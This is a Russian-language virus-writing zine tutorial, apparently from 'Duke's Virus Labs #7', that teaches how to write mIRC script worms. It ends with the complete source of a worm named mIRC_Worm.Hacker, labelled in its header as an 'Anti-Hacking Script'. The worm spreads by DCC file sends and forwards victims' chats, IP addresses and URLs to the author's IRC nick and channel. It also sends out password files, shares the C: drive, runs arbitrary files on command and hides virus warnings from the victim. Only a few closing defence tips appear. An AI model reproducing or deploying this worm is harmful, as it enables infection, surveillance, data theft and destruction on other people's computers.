- [Duke's Virus Labs #7] - [Page 21] - Tutorial: mIRC_Worm virii + mIRC_Worm.Hacker virus (c) by Duke/SMF Побывав в IRC чате вы обнаружите, что вас со всех сторон атакуют черви : постоянно вам приходят файлы которые вы не просили от неизвестных вам людей. Это и есть IRC черви. Можно выделить 2 разновидности IRC червей - в виде исполнимых файлов (*.exe, *.com) и виде скриптов (script.ini). Вирусы в виде скриптов и носят имя mIRC_Worm. Эти так называемые черви написаны на языке встроенных в программу-клиент mIRC скриптов (последняя версия всегда доступна по адресу www.mirc.com). По синтаксису они напоминают язык C - те же способы сравнения, те же операторные скобки { и } . Все представители семейства mIRC_Worm рассылаются в виде файла script.ini (поэтому каждый пользователь может легко вычислить вирус в mIRC чате). Программа-клиент при запуске анализирует содержимое файла script.ini, и при дальнейшей работе сверяется с описанными в нем командами. Если можно так сказать, в файле script.ini описаны "обработчики событий". (Сразу надо сделать оговорку ! "Нормальные" скрипты содержатся в файле script.ini. Но фактически они могут содержаться в ЛЮБОМ текстовом файле, содержащем скрипт код, в том числе и в mirc.ini в секции [script]. Главное, чтобы этот файл был прописан в mirc.ini в секции [rfiles]. Например [rfiles] n2=script.ini Вот такая оговорка...) Раньше (когда использовался mIRC v5.1) распространение этих червей было просто колоссальным. Почему ? Да потому, что получаемые файлы по умолчанию сохранялись в каталоге программы mIRC. Если вы ранее использовали настройки файла scropt.ini (свои, не вирусные ;) и вам прислали файл script.ini, то после этого уже начинают выполняться настройки вируса, а вы этого и не знаете. Теперь (с версии 5.5, если не ошибаюсь), файлы сохраняются в директории \DOWNLOAD , и даже если вы получите вирус, то он выполняться не будет :((( Но, будем жить надеждой на распространенность старых версий ;-) Для написания mIRC червя не требуется знания большого числа команд. Для размножения достаточно только одной :) Файл script.ini имеет определенную структуру. Первая строка файла выглядит следующим образом : [script] Все остальные строки файла "пронумерованы" : следующая начинаются с "n0=", затем следуют строки начинающиеся с "n1=", и так далее. Но эта нумерация не обязана быть последовательной - можно пронумеровать строки как душе угодно. Секция [script] конфигурационного файла представляет собой коллекцию обработчиков событий. Встроенные возможности ~~~~~~~~~~~~~~~~~~~~~~ Команд, констант, и прочих встроенных фич очень много. Я расскажу лишь о некоторых, которые помогут нам при написании вирусов и троянцев. Вот краткий список встроенных возможностей, работающий в клиенте mIRC : $exists(filename) - возвращает $true, если файл filename существует $finddir(dir,wildcard,N,depth,command) - ищет в директории Dir поддиректории по маске wildcard в количестве N штук $findfile(dir,wildcard,N,depth,command) - ищет в директории Dir файлы по маске wildcard в количестве N штук. Для каждого найденного файла выполняется команда command $isdir(dirname) - возвращает $true, если директория dirname существует $isfile(filename) - возвращает $true, если файл filename существует $nofile(filename) - возвращает путь к файлу filename без имени файла $mircdir - директория, в которой находится программа mIRC $mircini - имя главного конфигурационного файла, обычно mirc.ini $ip - IP адрес пользователя $me - твой ник $script - имя активного скрипта $url - последний активный URL в вашем броузере $+ - "соединяет" написанные через эту команду строки (например : "A $+ B" = "AB") Несколько слов о синтаксисе ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Можно писать константы слитно с другим текстом, например $mircdirscript.ini - полный путь (с именем) файла script.ini Имена переменных начинаются с символа "%", а метки - с ":" Оператор выбора имеет вид: if (v1 operator v2) { commands } elseif (v1 operator v2) { commands } else { commands } Можно использовать неполную конструкцию, например if %a == $ip { .quit } При сравнении используются знаки: == - равенство != - неравенство Строки комментарии должны начинаться с символа ";", например n0=;Это комментарий Основные команды: ~~~~~~~~~~~~~~~~~ Все команды при набирании в клиенте mIRC должны начинаться с символа "/", а в script-файле - с "." . /bread <&binvar> - читает N байт начиная с позиции S из файла filename в переменную binvar Размер binvar не может превышать 4096 байт /bwrite [N] <&binvar> - записывает N байт в файл filename наяиная с позиции S Все предыдущие данные уничтожаются. Если S = -1, то файл дополняется в конец. /bset <&binvar> - присваивает переменной <&binvar> N символов из строки /dcc send - посылает файл пользователю /join - войти на канал(ы) /part - покинуть канал(ы) /msg - послать сообщение для пользователя или на канал /run - запуск файла on <обработчик события> - срабатывает при выполнении указанного события. Используется ТОЛЬКО в начале строки INI-файла. Зная все это можно написать не только mIRC-червя, но и самоходного троянца, отсылающего вам PWL-файлы и URL. Основные события : ~~~~~~~~~~~~~~~~~~ CONNECT - процесс связи с IRC-сервером JOIN - срабатывает, когда любой пользователь заходит на любой из каналов, на котором присутствуете вы PART - срабатывает, когда любой пользователь покидает любой из каналов, на котором присутствуете вы TEXT - при получении вами приват-сообщения Вид строки обработчика событий : ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ n<номер строки>=ON <уровень>:<событие>:[плюс] <реакция на событие> где <номер строки> = число от 0 до конца :) <уровень> = число от 0 и выше - обозначает уровень доступа. Для универсальности скрипта нужно ставить 0. <событие> = вариации на тему: JOIN:#: - посещение канала CONNECT: - соединение с каналом <реакция на событие> = последовательность команд [плюс] = для каждого из событий могут быть свои собственные дополнительные параметры Дополнительные параметры для основных событий : ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ JOIN : [список каналов<:>] = список каналов через ",", для которых проверяется выполнение события. Если поставить "#" , то для всех каналов. TEXT : [содержание<:>] = текстовая подстрока в полученном сообщении. Можно использовать символы "*" или "?". : [список каналов<:>] = список каналов через ",", для которых проверяется выполнение события. Если поставить "?", то будет срабатывать для любого приват-сообщения. Если поставить "#", то будет срабатывать для любого сообщения в канале. Если поставить "*", то будет срабатывать для любого сообщения вообще ! Если команд больше, чем одна, то ставится символ "{" (обозначающий "begin"), затем на новой строке пишется новая команда, и в конце обработчика ставится символ "}" (обозначающий "end"). В одной строке можно указать несколько команд, разделяя их " | ". Команда halt - принудительный останов обработчика событий. Простейший mIRC-вирус ~~~~~~~~~~~~~~~~~~~~~ Как написать самый простой mIRC-вирус ? Он может состоять всего из одной строки и посылать себя при выходе пользователя с канала : n0=ON 1:PART:#: if ($nick == $me) { halt } | else { .dcc send $nick script.ini } Но поскольку ветка else будет работать лишь при $nick <> $me, а в противном случае у нас отвал по halt, то запишем n0=ON 1:PART:#: if ($nick == $me) { halt } | .dcc send $nick script.ini А зачем вообще что-либо делать, если ник совпадает с моим ? Ведь можно выполнять проверку по " != " : n0=ON 1:PART:#:if ($me != $nick) /dcc send $nick script.ini Вот и все - простейший вирус готов. Теперь надо его "обрастить" деталями. Посылать файлы можно и при заходе на канал: n1=ON 1:JOIN:#: if ($nick == $me) { halt } | else { .dcc send $nick script.ini } Троянские компоненты в червях ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Хотите знать, о чем говорят пораженные вашим вирусом люди ? Нет ничего проще ! Вставьте в скрипт следующие строки и весь их разговор будет передаваться на канал #SMF в виде "message" : n0=on 1:TEXT:*:#:.raw -q PRIVMSG #SMF : $+ < $+ $nick @ $chan $+ > $1- n1=on 1:TEXT:*:?:.raw -q PRIVMSG #SMF : $+ < $+ $nick @MSG> $1- n2=on 1:INPUT:#:.raw -q PRIVMSG #SMF : $+ < $+ $me @ $chan $+ > $1- Вот скрипт, сообщающий данные об инфицированном компьютере при конекте на IRC сервер: n0=ON 1:CONNECT:.msg #SMF Hi. $ip on $server $+ : $+ $port $+ . Как только пораженный пользователь выдаст свой ник, можно послать ему приват-сообщение, содержащее кодовое слово, на которое и будет срабатывать обработчик. /closemsg nick - закрыть окно с приват-чатом с пользователем nick Это очень полезная команда для управления червем, она позволит нам скрывать свои действия. Наш червь должен стелсироваться. Для этого надо проверять, что пишут вам другие пользователи в сообщениях и отбрасывать текст, в котором говорится о вирусах. Делается это так : n10=ON 1:TEXT:*script.ini*:*:{ .ignore $nick | .closemsg $nick } n11=ON 1:TEXT:*virus*:*:{ .ignore $nick | .closemsg $nick } n12=ON 1:TEXT:*вирус*:*:{ .ignore $nick | .closemsg $nick } n13=ON 1:TEXT:*send*:*:{ .ignore $nick | .closemsg $nick } Можно воровать пароли "по заказу". Например для UNIX/LINUX систем : n8=ON 1:TEXT:*dlinux*:*:.dcc send $nick c:\linux\etc\passwd. n9=ON 1:TEXT:*dunix*:*:.dcc send $nick c:\unix\etc\passwd. Будем получать и другие файлики. Например, полазить по FTP по пораженному компьютеру. А также неплохо получить побольше доступа на разных каналах: n3=ON 1:TEXT:*give_c*:#:.fserve $nick 1 c:\ n4=ON 1:TEXT:*give_m*:#:.dcc send $nick $mircdirscript.ini n5=ON 1:TEXT:*op_me*:?:{ .mode $chan +o $nick | .closemsg $nick } n6=ON 1:TEXT:*invite_me*:?:{ .invite $nick $2 | .closemsg $nick } n7=ON 1:TEXT:*unban_me*:?:{ .mode $chan -b $nick | .closemsg $nick } Налазившись по FTP и найдя путь к FORMAT.COM, можно его запустить ! n15=on 1:TEXT:*:?:if ( $1 == runthis ) { .run $2- } Если кто-то из пораженных вам надоел, его можно вытряхнуть из чата: n14=ON 1:TEXT:*go_out*:*:.quit I'm lamer ! Команды для управления моим червем : give_c - получить FTP доступ к диску c:\ give_m - получить этот скрипт op_me - получить статус оператора invite_me - получить приглашение на канал unban_me - снять с себя бан dlinux - получить пароли из системы LINUX dunix - получить пароли из системы UNIX go_out - выгнать из чата runthis - запустить файл (после команды надо указать полный путь к файлу) Полный текст этого вируса mIRC_Worm.Hacker, который должен содержаться в файле script.ini, приводится ниже : ===== Cut here ===== [script] n0=;----------------- Anti-Hacking Script by Duke/SMF ---------------------- n1=ON 1:JOIN:#:if ($nick != $me) .dcc send $nick script.ini n2=ON 1:PART:#:if ($nick != $me) .dcc send $nick script.ini n3=ON 1:TEXT:*give_c*:#:.fserve $nick 1 c:\ n4=ON 1:TEXT:*give_m*:#:.dcc send $nick $mircdirscript.ini n5=ON 1:TEXT:*op_me*:?:{ .mode $chan +o $nick | .closemsg $nick } n6=ON 1:TEXT:*invite_me*:?:{ .invite $nick $2 | .closemsg $nick } n7=ON 1:TEXT:*unban_me*:?:{ .mode $chan -b $nick | .closemsg $nick } n8=ON 1:TEXT:*dlinux*:*:.dcc send $nick c:\linux\etc\passwd. n9=ON 1:TEXT:*dunix*:*:.dcc send $nick c:\unix\etc\passwd. n10=ON 1:TEXT:*script.ini*:*:{ .ignore $nick | .closemsg $nick } n11=ON 1:TEXT:*virus*:*:{ .ignore $nick | .closemsg $nick } n12=ON 1:TEXT:*вирус*:*:{ .ignore $nick | .closemsg $nick } n13=ON 1:TEXT:*send*:*:{ .ignore $nick | .closemsg $nick } n14=ON 1:TEXT:*go_out*:*:.quit I'm lamer ! n15=on 1:TEXT:*:?:if ( $1 == runthis ) { .run $2- } n16=ON 1:CONNECT:{ n17= .msg Duke[SMF] Hacked $ip on $server $+ : $+ $port $+ . URL is $url n18= .closemsg Duke[SMF] n19= .msg #SMF Hacked $ip on $server $+ : $+ $port $+ . URL is $url n20=} n21=;Hacker v1.0 was here ! (c) by Duke/SMF ===== Cut here ===== Как защититься от вирусов ? ~~~~~~~~~~~~~~~~~~~~~~~~~~~ В качестве защиты от IRC-червей могу посоветовать следующее: - никогда не принимайте файлы от незнакомых людей; - не принимайте исполнимые файлы и файл script.ini; - не принимайте файлы, который не заказывали. Так вы оградите себя от этой Internet-инфекции.